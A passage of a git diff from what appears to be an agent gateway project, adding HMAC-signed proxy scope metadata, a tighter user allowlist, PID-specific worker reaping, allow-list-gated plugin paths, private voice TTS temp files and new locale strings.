+PROXY_SCOPE_SIGNATURE_VERSION = "v1"
+PROXY_SCOPE_MAX_CLOCK_SKEW_SECONDS = 300
+
+
+def get_proxy_scope_key() -> str:
+ """Return the shared secret used to authenticate proxy scope metadata."""
+ return os.getenv(PROXY_SCOPE_KEY_ENV, "").strip()
+
+
+def canonicalize_proxy_scope(proxy_scope: Mapping[str, Any]) -> str:
+ """Serialize proxy scope metadata into the signed wire representation."""
+ return json.dumps(proxy_scope, sort_keys=True, separators=(",", ":"))
+
+
+def sign_proxy_scope(
+ proxy_scope: Mapping[str, Any],
+ secret: str,
+ timestamp: int | None = None,
+) -> tuple[str, str]:
+ """Return ``(timestamp, signature)`` headers for trusted proxy scope metadata."""
+ ts = str(int(time.time() if timestamp is None else timestamp))
+ payload = f"{ts}.{canonicalize_proxy_scope(proxy_scope)}".encode("utf-8")
+ digest = hmac.new(secret.encode("utf-8"), payload, hashlib.sha256).hexdigest()
+ return ts, f"{PROXY_SCOPE_SIGNATURE_VERSION}={digest}"
+
+
+def verify_proxy_scope_signature(
+ proxy_scope: Mapping[str, Any],
+ secret: str,
+ timestamp: str | None,
+ signature: str | None,
+ *,
+ now: int | None = None,
+) -> bool:
+ """Return whether the supplied signature authenticates the proxy scope.
+
+ Returns ``False`` when no secret is configured so that proxy scope metadata
+ is rejected unless a shared key has been provisioned on both sides.
+ """
+ if not secret:
+ return False
+ if not timestamp or not signature:
+ return False
+ try:
+ ts_int = int(timestamp)
+ except (TypeError, ValueError):
+ return False
+ current = int(time.time() if now is None else now)
+ if abs(current - ts_int) > PROXY_SCOPE_MAX_CLOCK_SKEW_SECONDS:
+ return False
+ expected_timestamp, expected_signature = sign_proxy_scope(proxy_scope, secret, ts_int)
+ return hmac.compare_digest(timestamp, expected_timestamp) and hmac.compare_digest(
+ signature, expected_signature
+ )
diff --git a/gateway/run.py b/gateway/run.py
index 8c884307c1f4..2b86f3ecb1dc 100644
--- a/gateway/run.py
+++ b/gateway/run.py
@@ -5226,7 +5226,9 @@ def _create_adapter(
if not check_signal_requirements():
logger.warning("Signal: SIGNAL_HTTP_URL or SIGNAL_ACCOUNT not configured")
return None
- return SignalAdapter(config)
+ adapter = SignalAdapter(config)
+ adapter.gateway_runner = self
+ return adapter
elif platform == Platform.HOMEASSISTANT:
from gateway.platforms.homeassistant import HomeAssistantAdapter, check_ha_requirements
@@ -5371,6 +5373,7 @@ def _is_user_authorized(self, source: SessionSource) -> bool:
user_id = source.user_id
if not user_id:
return False
+ team_id = getattr(source, "team_id", "") or ((source.guild_id or "").strip() if source.platform == Platform.SLACK else "")
platform_env_map = {
Platform.TELEGRAM: "TELEGRAM_ALLOWED_USERS",
@@ -5418,8 +5421,9 @@ def _is_user_authorized(self, source: SessionSource) -> bool:
Platform.YUANBAO: "YUANBAO_ALLOW_ALL_USERS",
}
# Bots admitted by {PLATFORM}_ALLOW_BOTS bypass the human allowlist (#4466).
+ # Only platforms with explicit gateway-level bot bypass semantics
+ # should be listed here.
platform_allow_bots_map = {
- Platform.DISCORD: "DISCORD_ALLOW_BOTS",
Platform.FEISHU: "FEISHU_ALLOW_BOTS",
}
@@ -8190,8 +8194,11 @@ async def _handle_reset_command(self, event: MessageEvent) -> Union[str, Ephemer
try:
self._session_db.set_session_title(new_entry.session_id, sanitized)
header = t("gateway.reset.header_titled", title=sanitized)
- except ValueError as e:
- _title_note = t("gateway.reset.title_error_untitled", error=str(e))
+ except ValueError:
+ _title_note = t(
+ "gateway.reset.title_error_untitled",
+ error=t("gateway.reset.title_unavailable"),
+ )
except Exception:
pass
elif not _title_note:
@@ -11378,8 +11385,8 @@ async def _handle_title_command(self, event: MessageEvent) -> str:
return t("gateway.title.set_to", title=sanitized)
else:
return t("gateway.title.not_found")
- except ValueError as e:
- return t("gateway.shared.warn_passthrough", error=e)
+ except ValueError:
+ return t("gateway.title.warn_prefix", error=t("gateway.title.unavailable"))
else:
# Show the current title and session ID
title = self._session_db.get_session_title(session_id)
diff --git a/gateway/session_context.py b/gateway/session_context.py
index b64f31de0816..f53daf082b7b 100644
--- a/gateway/session_context.py
+++ b/gateway/session_context.py
@@ -37,7 +37,8 @@
"""
from contextvars import ContextVar
-from typing import Any
+import os
+from typing import Any, Dict, Optional, List
# Sentinel to distinguish "never set in this context" from "explicitly set to empty".
# When a contextvar holds _UNSET, we fall back to os.environ (CLI/cron compat).
@@ -51,9 +52,9 @@
_SESSION_PLATFORM: ContextVar = ContextVar("HERMES_SESSION_PLATFORM", default=_UNSET)
_SESSION_CHAT_ID: ContextVar = ContextVar("HERMES_SESSION_CHAT_ID", default=_UNSET)
_SESSION_CHAT_NAME: ContextVar = ContextVar("HERMES_SESSION_CHAT_NAME", default=_UNSET)
-_SESSION_THREAD_ID: ContextVar = ContextVar("HERMES_SESSION_THREAD_ID", default=_UNSET)
_SESSION_USER_ID: ContextVar = ContextVar("HERMES_SESSION_USER_ID", default=_UNSET)
_SESSION_USER_NAME: ContextVar = ContextVar("HERMES_SESSION_USER_NAME", default=_UNSET)
+_SESSION_THREAD_ID: ContextVar = ContextVar("HERMES_SESSION_THREAD_ID", default=_UNSET)
_SESSION_KEY: ContextVar = ContextVar("HERMES_SESSION_KEY", default=_UNSET)
_SESSION_ID: ContextVar = ContextVar("HERMES_SESSION_ID", default=_UNSET)
@@ -63,13 +64,19 @@
_CRON_AUTO_DELIVER_CHAT_ID: ContextVar = ContextVar("HERMES_CRON_AUTO_DELIVER_CHAT_ID", default=_UNSET)
_CRON_AUTO_DELIVER_THREAD_ID: ContextVar = ContextVar("HERMES_CRON_AUTO_DELIVER_THREAD_ID", default=_UNSET)
-_VAR_MAP = {
+# Session-scoped TERMINAL_CWD — historically read from os.environ but the
+# CLI / cron / gateway may need to override per-session without leaking into
+# concurrent tasks. Keep the env-var name so existing callers using
+# ``os.getenv("TERMINAL_CWD")`` still see process-global values.
+_TERMINAL_CWD: ContextVar = ContextVar("TERMINAL_CWD", default=_UNSET)
+
+_VAR_MAP: Dict[str, ContextVar] = {
"HERMES_SESSION_PLATFORM": _SESSION_PLATFORM,
"HERMES_SESSION_CHAT_ID": _SESSION_CHAT_ID,
"HERMES_SESSION_CHAT_NAME": _SESSION_CHAT_NAME,
- "HERMES_SESSION_THREAD_ID": _SESSION_THREAD_ID,
"HERMES_SESSION_USER_ID": _SESSION_USER_ID,
"HERMES_SESSION_USER_NAME": _SESSION_USER_NAME,
+ "HERMES_SESSION_THREAD_ID": _SESSION_THREAD_ID,
"HERMES_SESSION_KEY": _SESSION_KEY,
"HERMES_SESSION_ID": _SESSION_ID,
"HERMES_CRON_AUTO_DELIVER_PLATFORM": _CRON_AUTO_DELIVER_PLATFORM,
@@ -79,6 +86,7 @@
def set_session_vars(
+ *,
platform: str = "",
chat_id: str = "",
chat_name: str = "",
@@ -86,28 +94,32 @@ def set_session_vars(
user_id: str = "",
user_name: str = "",
session_key: str = "",
-) -> list:
+ terminal_cwd: Optional[str] = None,
+) -> List:
"""Set all session context variables and return reset tokens.
- Call ``clear_session_vars(tokens)`` in a ``finally`` block to restore
- the previous values when the handler exits.
+ Callers should typically call ``clear_session_vars(tokens)`` in a
+ ``finally`` block to mark the session as explicitly ended (suppressing
+ environment fallbacks).
- Returns a list of ``Token`` objects (one per variable) that can be
- passed to ``clear_session_vars``.
+ Returns a list of reset tokens.
"""
tokens = [
- _SESSION_PLATFORM.set(platform),
- _SESSION_CHAT_ID.set(chat_id),
- _SESSION_CHAT_NAME.set(chat_name),
- _SESSION_THREAD_ID.set(thread_id),
- _SESSION_USER_ID.set(user_id),
- _SESSION_USER_NAME.set(user_name),
- _SESSION_KEY.set(session_key),
+ _SESSION_PLATFORM.set(str(platform or "")),
+ _SESSION_CHAT_ID.set(str(chat_id or "")),
+ _SESSION_CHAT_NAME.set(str(chat_name or "")),
+ _SESSION_THREAD_ID.set(str(thread_id or "")),
+ _SESSION_USER_ID.set(str(user_id or "")),
+ _SESSION_USER_NAME.set(str(user_name or "")),
+ _SESSION_KEY.set(str(session_key or "")),
]
+ if terminal_cwd is not None:
+ tokens.append(_TERMINAL_CWD.set(str(terminal_cwd)))
+
return tokens
-def clear_session_vars(tokens: list) -> None:
+def clear_session_vars(tokens: List) -> None:
"""Mark session context variables as explicitly cleared.
Sets all variables to ``""`` so that ``get_session_env`` returns an empty
@@ -129,6 +141,10 @@ def clear_session_vars(tokens: list) -> None:
):
var.set("")
+ # Only explicitly clear _TERMINAL_CWD if it was set in this context.
+ if len(tokens) > 7:
+ _TERMINAL_CWD.set("")
+
def get_session_env(name: str, default: str = "") -> str:
"""Read a session context variable by its legacy ``HERMES_SESSION_*`` name.
@@ -145,8 +161,6 @@ def get_session_env(name: str, default: str = "") -> str:
don't use ``set_session_vars`` at all).
3. *default*
"""
- import os
-
var = _VAR_MAP.get(name)
if var is not None:
value = var.get()
@@ -154,3 +168,31 @@ def get_session_env(name: str, default: str = "") -> str:
return value
# Fall back to os.environ for CLI, cron, and test compatibility
return os.getenv(name, default)
+
+
+def set_terminal_cwd(cwd: str):
+ """Set the session-scoped terminal cwd and return a reset token."""
+ return _TERMINAL_CWD.set(cwd)
+
+
+def reset_terminal_cwd(token) -> None:
+ """Restore the previous session-scoped terminal cwd value."""
+ _TERMINAL_CWD.reset(token)
+
+
+def get_terminal_cwd(default=None):
+ """Return the session-scoped terminal cwd, falling back to ``os.environ``.
+
+ ``TERMINAL_CWD`` is historically configured through the process
+ environment. Runtime per-session overrides set via ``set_terminal_cwd``
+ take precedence so concurrent gateway/cron sessions cannot clobber
+ each other.
+ """
+ import os
+
+ value = _TERMINAL_CWD.get()
+ if value is not _UNSET:
+ if value == "":
+ return default if default is not None else os.getcwd()
+ return value
+ return os.getenv("TERMINAL_CWD", default if default is not None else os.getcwd())
diff --git a/hermes_cli/kanban_db.py b/hermes_cli/kanban_db.py
index 5aab6b27ac1b..cc569d28cb65 100644
--- a/hermes_cli/kanban_db.py
+++ b/hermes_cli/kanban_db.py
@@ -71,6 +71,7 @@
from __future__ import annotations
import contextlib
+import errno
import json
import os
import re
@@ -78,6 +79,7 @@
import sqlite3
import subprocess
import sys
+import threading
import time
from dataclasses import dataclass, field
from pathlib import Path
@@ -1398,10 +1400,10 @@ def create_task(
int(max_retries) if max_retries is not None else None,
),
)
- for pid in parents:
- conn.execute(
+ if parents:
+ conn.executemany(
"INSERT OR IGNORE INTO task_links (parent_id, child_id) VALUES (?, ?)",
- (pid, task_id),
+ [(pid, task_id) for pid in parents],
)
_append_event(
conn,
@@ -2930,6 +2932,24 @@ class DispatchResult:
_RECENT_WORKER_EXIT_TTL_SECONDS = 600
_RECENT_WORKER_EXITS_MAX = 4096
_recent_worker_exits: "dict[int, tuple[int, float]]" = {}
+# Child PIDs spawned by this process that we may need to reap explicitly.
+# This in-memory set is intentionally broader than the set of workers whose
+# PIDs were durably persisted to the database: callers may register a child
+# here before the corresponding DB write/commit succeeds so we do not lose
+# track of a local subprocess that still needs reaping.
+_known_worker_child_pids: "set[int]" = set()
+_known_worker_child_pids_lock = threading.Lock()
+
+
+def _track_worker_child(pid: Optional[int]) -> None:
+ """Remember a kanban worker PID spawned by this process for reaping.
+
+ This tracks locally spawned children even if the later database write
+ that associates the PID with a task fails or is rolled back.
+ """
+ if pid and int(pid) > 0:
+ with _known_worker_child_pids_lock:
+ _known_worker_child_pids.add(int(pid))
def _record_worker_exit(pid: int, raw_status: int) -> None:
@@ -3607,6 +3627,7 @@ def _set_worker_pid(conn: sqlite3.Connection, task_id: str, pid: int) -> None:
(int(pid), run_id),
)
_append_event(conn, task_id, "spawned", {"pid": int(pid)}, run_id=run_id)
+ _track_worker_child(pid)
def _clear_failure_counter(conn: sqlite3.Connection, task_id: str) -> None:
@@ -3663,6 +3684,39 @@ def has_spawnable_ready(conn: sqlite3.Connection) -> bool:
return False
+def _reap_known_worker_children() -> None:
+ """Reap only kanban worker children, never arbitrary subprocesses.
+
+ The gateway process owns many non-kanban children whose callers rely on
+ their own ``Popen.wait()`` / ``subprocess.run()`` exit status. Therefore
+ this must never use ``waitpid(-1)``. It waits only on PIDs recorded when
+ this process persisted a spawned kanban worker with ``_set_worker_pid``.
+ """
+ if os.name == "nt" or not hasattr(os, "WNOHANG"):
+ return
+
+ with _known_worker_child_pids_lock:
+ pids = sorted(_known_worker_child_pids)
+
+ for pid in pids:
+ try:
+ reaped_pid, status = os.waitpid(int(pid), os.WNOHANG)
+ except ChildProcessError:
+ with _known_worker_child_pids_lock:
+ _known_worker_child_pids.discard(int(pid))
+ continue
+ except OSError as exc:
+ if exc.errno in (errno.ECHILD, errno.ESRCH):
+ with _known_worker_child_pids_lock:
+ _known_worker_child_pids.discard(int(pid))
+ continue
+ if reaped_pid == 0:
+ continue
+ with _known_worker_child_pids_lock:
+ _known_worker_child_pids.discard(int(reaped_pid))
+ _record_worker_exit(int(reaped_pid), int(status))
+
+
def dispatch_once(
conn: sqlite3.Connection,
*,
@@ -3700,38 +3754,13 @@ def dispatch_once(
``board`` pins workspace/log/db resolution for this tick to a specific
board. When omitted, the current-board resolution chain is used.
"""
- # Reap zombie children from previously spawned workers.
- # The gateway-embedded dispatcher is the parent of every worker spawned
- # via _default_spawn (start_new_session=True only detaches the
- # controlling tty, not the parent). Without an explicit waitpid, each
- # completed worker becomes a entry that lingers until gateway
- # exit. WNOHANG keeps this non-blocking; ChildProcessError means no
- # children to reap. Bounded: at most one tick's worth of completions
- # can be in at once.
- #
- # We also record the exit status keyed by pid, so
- # ``detect_crashed_workers`` can distinguish a worker that exited
- # cleanly without calling ``kanban_complete`` / ``kanban_block``
- # (protocol violation — auto-block) from a real crash (OOM killer,
- # SIGKILL, non-zero exit — existing counter behavior).
- #
- # Windows has no zombies / no os.WNOHANG — subprocess.Popen handles
- # are freed when the Python object is garbage-collected or .wait() is
- # called explicitly. The kanban dispatcher discards the Popen handle
- # after spawn (``_default_spawn`` → abandon), so on Windows there's
- # nothing to reap here — skip the whole block.
- if os.name != "nt":
- try:
- while True:
- try:
- _pid, _status = os.waitpid(-1, os.WNOHANG)
- except ChildProcessError:
- break
- if _pid == 0:
- break
- _record_worker_exit(_pid, _status)
- except Exception:
- pass
+ # Reap zombie children only for PIDs we know are kanban workers, never
+ # via waitpid(-1). The gateway process owns many non-kanban children
+ # (npm, agent-browser, etc.) whose callers rely on their own
+ # Popen.wait() / subprocess.run() exit status — a global reap would
+ # steal that status. Windows has no zombies / no os.WNOHANG so the
+ # helper is a no-op there.
+ _reap_known_worker_children()
result = DispatchResult()
result.reclaimed = release_stale_claims(conn)
diff --git a/hermes_cli/plugins.py b/hermes_cli/plugins.py
index 3f21e8ebdcef..ab67289cebd6 100644
--- a/hermes_cli/plugins.py
+++ b/hermes_cli/plugins.py
@@ -266,6 +266,11 @@ class PluginManifest:
# category plugin at ``plugins/image_gen/openai/`` the key is
# ``image_gen/openai``. When empty, falls back to ``name``.
key: str = ""
+ # Optional site-packages directory for entry-point plugins discovered from
+ # HERMES_PLUGIN_PYTHONPATH. The path is added to sys.path only after the
+ # plugin passes the plugins.enabled allow-list, avoiding Python startup-time
+ # execution from untrusted plugin packages.
+ entrypoint_search_path: Optional[str] = None
@dataclass
@@ -1066,22 +1071,19 @@ def _parse_manifest(
def _scan_entry_points(self) -> List[PluginManifest]:
"""Check ``importlib.metadata`` for pip-installed plugins."""
manifests: List[PluginManifest] = []
+ seen: Set[tuple[str, str]] = set()
try:
- eps = importlib.metadata.entry_points()
- # Python 3.12+ returns a SelectableGroups; earlier returns dict
- if hasattr(eps, "select"):
- group_eps = eps.select(group=ENTRY_POINTS_GROUP)
- elif isinstance(eps, dict):
- group_eps = eps.get(ENTRY_POINTS_GROUP, [])
- else:
- group_eps = [ep for ep in eps if ep.group == ENTRY_POINTS_GROUP]
-
- for ep in group_eps:
+ for ep, search_path in self._iter_entry_points():
+ dedupe_key = (ep.name, ep.value)
+ if dedupe_key in seen:
+ continue
+ seen.add(dedupe_key)
manifest = PluginManifest(
name=ep.name,
source="entrypoint",
path=ep.value,
key=ep.name,
+ entrypoint_search_path=search_path,
)
manifests.append(manifest)
except Exception as exc:
@@ -1089,6 +1091,41 @@ def _scan_entry_points(self) -> List[PluginManifest]:
return manifests
+ def _iter_entry_points(
+ self,
+ ) -> List[tuple[importlib.metadata.EntryPoint, Optional[str]]]:
+ """Return Hermes entry points from default metadata plus plugin paths."""
+ group_eps: List[tuple[importlib.metadata.EntryPoint, Optional[str]]] = []
+
+ eps = importlib.metadata.entry_points()
+ # Python 3.12+ returns a SelectableGroups; earlier returns dict
+ if hasattr(eps, "select"):
+ selected = eps.select(group=ENTRY_POINTS_GROUP)
+ elif isinstance(eps, dict):
+ selected = eps.get(ENTRY_POINTS_GROUP, [])
+ else:
+ selected = [ep for ep in eps if ep.group == ENTRY_POINTS_GROUP]
+ group_eps.extend((ep, None) for ep in selected)
+
+ for search_path in self._plugin_entrypoint_paths():
+ for dist in importlib.metadata.distributions(path=[search_path]):
+ for ep in dist.entry_points:
+ if ep.group == ENTRY_POINTS_GROUP:
+ group_eps.append((ep, search_path))
+
+ return group_eps
+
+ @staticmethod
+ def _plugin_entrypoint_paths() -> List[str]:
+ """Read Nix-provided plugin package paths without using PYTHONPATH."""
+ raw = os.getenv("HERMES_PLUGIN_PYTHONPATH", "")
+ paths: List[str] = []
+ for item in raw.split(os.pathsep):
+ item = item.strip()
+ if item and item not in paths:
+ paths.append(item)
+ return paths
+
# -----------------------------------------------------------------------
# Loading
# -----------------------------------------------------------------------
@@ -1202,22 +1239,23 @@ def _load_directory_module(self, manifest: PluginManifest) -> types.ModuleType:
def _load_entrypoint_module(self, manifest: PluginManifest) -> types.ModuleType:
"""Load a pip-installed plugin via its entry-point reference."""
- eps = importlib.metadata.entry_points()
- if hasattr(eps, "select"):
- group_eps = eps.select(group=ENTRY_POINTS_GROUP)
- elif isinstance(eps, dict):
- group_eps = eps.get(ENTRY_POINTS_GROUP, [])
- else:
- group_eps = [ep for ep in eps if ep.group == ENTRY_POINTS_GROUP]
-
- for ep in group_eps:
- if ep.name == manifest.name:
+ for ep, search_path in self._iter_entry_points():
+ if ep.name == manifest.name and ep.value == manifest.path:
+ if search_path:
+ for plugin_path in self._plugin_entrypoint_paths():
+ self._ensure_sys_path(plugin_path)
return ep.load()
raise ImportError(
f"Entry point '{manifest.name}' not found in group '{ENTRY_POINTS_GROUP}'"
)
+ @staticmethod
+ def _ensure_sys_path(path: str) -> None:
+ """Make an enabled entry-point plugin importable for this process."""
+ if path not in sys.path:
+ sys.path.insert(0, path)
+
# -----------------------------------------------------------------------
# Hook invocation
# -----------------------------------------------------------------------
diff --git a/hermes_cli/tools_config.py b/hermes_cli/tools_config.py
index 0d659fd91044..614e79b43d4e 100644
--- a/hermes_cli/tools_config.py
+++ b/hermes_cli/tools_config.py
@@ -162,10 +162,20 @@ def _get_plugin_toolset_keys() -> set:
def _implicit_default_off_toolsets(platform: str) -> Set[str]:
- """Return the default-off toolsets that remain implicitly disabled."""
+ """Return default-off toolsets to suppress for implicit platform config.
+
+ A platform's own unrestricted toolset remains available for backwards
+ compatibility (for example the ``homeassistant`` platform keeps the
+ ``homeassistant`` toolset). When ``HASS_TOKEN`` is set, the homeassistant
+ toolset is treated as opted-in across all platforms (including ``cron``
+ and ``cli``) — the operator has explicitly provisioned credentials, so
+ other platforms should pick it up rather than silently dropping it.
+ """
default_off = set(_DEFAULT_OFF_TOOLSETS)
if platform in default_off and platform not in _TOOLSET_PLATFORM_RESTRICTIONS:
default_off.remove(platform)
+ if "homeassistant" in default_off and os.getenv("HASS_TOKEN"):
+ default_off.remove("homeassistant")
return default_off
@@ -1184,9 +1194,15 @@ def _get_platform_tools(
explicit_mcp_servers = explicit_passthrough & enabled_mcp_servers
enabled_toolsets.update(explicit_passthrough - enabled_mcp_servers)
if include_default_mcp_servers:
- if explicit_mcp_servers or "no_mcp" in toolset_names:
+ if "no_mcp" in toolset_names:
+ # Operator opted out of MCP for this platform — keep only the
+ # MCP servers they explicitly named alongside no_mcp.
enabled_toolsets.update(explicit_mcp_servers)
- elif not has_explicit_platform_toolsets:
+ else:
+ # No no_mcp sentinel — surface every enabled MCP server even when
+ # platform_toolsets lists explicit builtin toolsets. The user's
+ # explicit builtin selection is the platform allowlist; MCP servers
+ # configured globally should not need to be re-listed per platform.
enabled_toolsets.update(enabled_mcp_servers)
else:
enabled_toolsets.update(explicit_mcp_servers)
diff --git a/hermes_cli/voice.py b/hermes_cli/voice.py
index a4ee6a0842d3..be2c9cbec3c0 100644
--- a/hermes_cli/voice.py
+++ b/hermes_cli/voice.py
@@ -24,7 +24,10 @@
import logging
import os
import sys
+import stat
+import tempfile
import threading
+from pathlib import Path
from typing import Any, Callable, Optional
# Modifier aliases mirrored from the TUI parser (``ui-tui/src/lib/platform.ts``)
@@ -83,6 +86,52 @@
_DEFAULT_PT_KEY = "c-b"
+def _secure_voice_tts_dir() -> Path:
+ """Return a private directory for transient voice TTS audio files."""
+ from hermes_constants import get_hermes_home
+
+ # Reject symlinks on the parent cache directory to prevent redirection
+ # through an attacker-controlled symlink before voice_tts is created.
+ cache_dir = get_hermes_home() / "cache"
+ if cache_dir.is_symlink():
+ raise RuntimeError(
+ f"refusing symlinked voice TTS parent directory: {cache_dir}"
+ )
+
+ tts_dir = cache_dir / "voice_tts"
+ if tts_dir.is_symlink():
+ raise RuntimeError(f"refusing symlinked voice TTS directory: {tts_dir}")
+
+ tts_dir.mkdir(mode=0o700, parents=True, exist_ok=True)
+
+ if tts_dir.is_symlink():
+ raise RuntimeError(f"refusing symlinked voice TTS directory: {tts_dir}")
+
+ if os.name == "posix":
+ st = tts_dir.stat()
+ if st.st_uid != os.getuid(): # windows-footgun: ok
+ raise RuntimeError(
+ "voice TTS directory is not owned by the current user: "
+ f"{tts_dir}"
+ )
+ mode = stat.S_IMODE(st.st_mode)
+ if mode != 0o700:
+ tts_dir.chmod(0o700)
+
+ return tts_dir
+
+
+def _reserve_voice_tts_mp3_path() -> str:
+ """Reserve a random 0600 MP3 path for one TUI/CLI voice TTS playback."""
+ fd, path = tempfile.mkstemp(
+ prefix="tts_", suffix=".mp3", dir=_secure_voice_tts_dir()
+ )
+ if hasattr(os, "fchmod"):
+ os.fchmod(fd, 0o600)
+ os.close(fd)
+ return path
+
+
def voice_record_key_from_config(cfg: Any) -> Any:
"""Shape-safe ``cfg.voice.record_key`` lookup.
@@ -755,7 +804,6 @@ def speak_text(text: str) -> None:
return
import re
- import tempfile
import time
# Cancel any live capture before we open the speakers — otherwise the
@@ -796,31 +844,32 @@ def speak_text(text: str) -> None:
if not tts_text:
return
- # MP3 output path, pre-chosen so we can play the MP3 directly even
- # when text_to_speech_tool auto-converts to OGG for messaging
- # platforms. afplay's OGG support is flaky, MP3 always works.
- os.makedirs(os.path.join(tempfile.gettempdir(), "hermes_voice"), exist_ok=True)
- mp3_path = os.path.join(
- tempfile.gettempdir(),
- "hermes_voice",
- f"tts_{time.strftime('%Y%m%d_%H%M%S')}.mp3",
- )
+ # Reserve a random, user-private MP3 output path so local users cannot
+ # predict or read transient agent responses while playback is in flight.
+ # We still pre-select MP3 so we can play it directly even when
+ # text_to_speech_tool auto-converts to OGG for messaging platforms.
+ mp3_path = _reserve_voice_tts_mp3_path()
_debug(f"speak_text: synthesizing {len(tts_text)} chars -> {mp3_path}")
text_to_speech_tool(text=tts_text, output_path=mp3_path)
- if os.path.isfile(mp3_path) and os.path.getsize(mp3_path) > 0:
- _debug(f"speak_text: playing {mp3_path} ({os.path.getsize(mp3_path)} bytes)")
- play_audio_file(mp3_path)
- try:
- os.unlink(mp3_path)
- ogg_path = mp3_path.rsplit(".", 1)[0] + ".ogg"
- if os.path.isfile(ogg_path):
- os.unlink(ogg_path)
- except OSError:
- pass
- else:
- _debug(f"speak_text: TTS tool produced no audio at {mp3_path}")
+ try:
+ if os.path.isfile(mp3_path) and os.path.getsize(mp3_path) > 0:
+ _debug(
+ f"speak_text: playing {mp3_path} "
+ f"({os.path.getsize(mp3_path)} bytes)"
+ )
+ play_audio_file(mp3_path)
+ else:
+ _debug(f"speak_text: TTS tool produced no audio at {mp3_path}")
+ finally:
+ ogg_path = mp3_path.rsplit(".", 1)[0] + ".ogg"
+ for path in (mp3_path, ogg_path):
+ try:
+ if os.path.isfile(path):
+ os.unlink(path)
+ except OSError:
+ pass
except Exception as e:
logger.warning("Voice TTS playback failed: %s", e)
_debug(f"speak_text raised {type(e).__name__}: {e}")
diff --git a/locales/af.yaml b/locales/af.yaml
index 264b4b321a51..ec4f5e8670e2 100644
--- a/locales/af.yaml
+++ b/locales/af.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ Nuwe sessie begin: {title}"
title_rejected: "\n⚠️ Titel verwerp: {error}"
title_error_untitled: "\n⚠️ {error} — sessie sonder titel begin."
+ title_unavailable: "Titel kon nie toegepas word nie."
title_empty_untitled: "\n⚠️ Titel is leeg na opruiming — sessie sonder titel begin."
tip: "\n✦ Wenk: {tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "Sessie-databasis is nie beskikbaar nie."
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ Titel is leeg na opruiming. Gebruik asseblief drukbare karakters."
+ unavailable: "Titel kon nie toegepas word nie."
set_to: "✏️ Sessie-titel gestel: **{title}**"
not_found: "Sessie nie in databasis gevind nie."
current_with_title: "📌 Sessie: `{session_id}`\nTitel: **{title}**"
diff --git a/locales/de.yaml b/locales/de.yaml
index 86aa0fae9ac4..a4cb9d8a606d 100644
--- a/locales/de.yaml
+++ b/locales/de.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ Neue Sitzung gestartet: {title}"
title_rejected: "\n⚠️ Titel abgelehnt: {error}"
title_error_untitled: "\n⚠️ {error} — Sitzung ohne Titel gestartet."
+ title_unavailable: "Titel konnte nicht angewendet werden."
title_empty_untitled: "\n⚠️ Titel ist nach Bereinigung leer — Sitzung ohne Titel gestartet."
tip: "\n✦ Tipp: {tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "Sitzungsdatenbank nicht verfügbar."
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ Titel ist nach der Bereinigung leer. Bitte druckbare Zeichen verwenden."
+ unavailable: "Titel konnte nicht angewendet werden."
set_to: "✏️ Sitzungstitel gesetzt: **{title}**"
not_found: "Sitzung nicht in der Datenbank gefunden."
current_with_title: "📌 Sitzung: `{session_id}`\nTitel: **{title}**"
diff --git a/locales/en.yaml b/locales/en.yaml
index d485efe75619..bbe649edafa9 100644
--- a/locales/en.yaml
+++ b/locales/en.yaml
@@ -224,6 +224,7 @@ gateway:
header_titled: "✨ New session started: {title}"
title_rejected: "\n⚠️ Title rejected: {error}"
title_error_untitled: "\n⚠️ {error} — session started untitled."
+ title_unavailable: "Title could not be applied."
title_empty_untitled: "\n⚠️ Title is empty after cleanup — session started untitled."
tip: "\n✦ Tip: {tip}"
@@ -282,6 +283,7 @@ gateway:
db_unavailable: "Session database not available."
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ Title is empty after cleanup. Please use printable characters."
+ unavailable: "Title could not be applied."
set_to: "✏️ Session title set: **{title}**"
not_found: "Session not found in database."
current_with_title: "📌 Session: `{session_id}`\nTitle: **{title}**"
diff --git a/locales/es.yaml b/locales/es.yaml
index 6e7a8a34cdad..f4d34678650c 100644
--- a/locales/es.yaml
+++ b/locales/es.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ Nueva sesión iniciada: {title}"
title_rejected: "\n⚠️ Título rechazado: {error}"
title_error_untitled: "\n⚠️ {error} — sesión iniciada sin título."
+ title_unavailable: "No se pudo aplicar el título."
title_empty_untitled: "\n⚠️ El título queda vacío tras la limpieza — sesión iniciada sin título."
tip: "\n✦ Consejo: {tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "Base de datos de sesiones no disponible."
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ El título está vacío tras la limpieza. Usa caracteres imprimibles."
+ unavailable: "No se pudo aplicar el título."
set_to: "✏️ Título de sesión establecido: **{title}**"
not_found: "Sesión no encontrada en la base de datos."
current_with_title: "📌 Sesión: `{session_id}`\nTítulo: **{title}**"
diff --git a/locales/fr.yaml b/locales/fr.yaml
index 0a8399f27486..8d0bc2b3cba9 100644
--- a/locales/fr.yaml
+++ b/locales/fr.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ Nouvelle session démarrée : {title}"
title_rejected: "\n⚠️ Titre refusé : {error}"
title_error_untitled: "\n⚠️ {error} — session démarrée sans titre."
+ title_unavailable: "Impossible d'appliquer le titre."
title_empty_untitled: "\n⚠️ Le titre est vide après nettoyage — session démarrée sans titre."
tip: "\n✦ Astuce : {tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "Base de données des sessions indisponible."
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ Le titre est vide après nettoyage. Utilisez des caractères imprimables."
+ unavailable: "Impossible d'appliquer le titre."
set_to: "✏️ Titre de session défini : **{title}**"
not_found: "Session introuvable dans la base de données."
current_with_title: "📌 Session : `{session_id}`\nTitre : **{title}**"
diff --git a/locales/ga.yaml b/locales/ga.yaml
index 551d8d3362dd..7af12c2d9c9e 100644
--- a/locales/ga.yaml
+++ b/locales/ga.yaml
@@ -213,6 +213,7 @@ gateway:
header_titled: "✨ Seisiún nua tosaithe: {title}"
title_rejected: "\n⚠️ Teideal diúltaithe: {error}"
title_error_untitled: "\n⚠️ {error} — seisiún tosaithe gan teideal."
+ title_unavailable: "Níorbh fhéidir an teideal a chur i bhfeidhm."
